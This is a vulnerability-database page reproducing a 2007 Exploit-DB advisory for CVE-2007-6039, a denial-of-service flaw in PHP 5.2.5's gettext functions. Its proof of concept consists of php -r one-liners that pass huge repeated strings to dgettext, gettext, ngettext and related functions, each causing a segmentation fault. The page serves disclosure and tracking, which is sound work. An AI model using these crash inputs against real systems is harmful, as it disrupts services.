Lucene search
+L

PHP 5.2.5 - Multiple GetText functions Denial of Service Vulnerabilities

🗓️ 13 Nov 2007 00:00:00Reported by laurent gaffieType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

PHP 5.2.5 Denial of Service Vulnerabilities with Multiple GetText Function

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-6039
20 Nov 200719:00
cve
Cvelist
CVE-2007-6039
20 Nov 200719:00
cvelist
EUVD
EUVD-2007-6009
7 Oct 202500:30
euvd
NVD
CVE-2007-6039
20 Nov 200719:46
nvd
OpenVAS
PHP < 5.2.6 Multiple Vulnerabilities
17 Aug 202000:00
openvas
OpenVAS
PHP < 5.2.6 Multiple Vulnerabilities
21 Jun 201200:00
openvas
Tenable Nessus
PHP < 5.2.6 Multiple Vulnerabilities
2 May 200800:00
nessus
Prion
Design/Logic Flaw
20 Nov 200719:46
prion
RedhatCVE
CVE-2007-6039
30 Oct 201509:51
redhatcve
SUSE CVE
SUSE CVE-2007-6039
15 Feb 202306:10
susecve
Rows per page
source: https://www.securityfocus.com/bid/26428/info

PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.

PHP 5.2.5 is vulnerable; other versions may also be affected.

Proof of concept example :

root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007
i686 GNU/Linux

root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r
'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation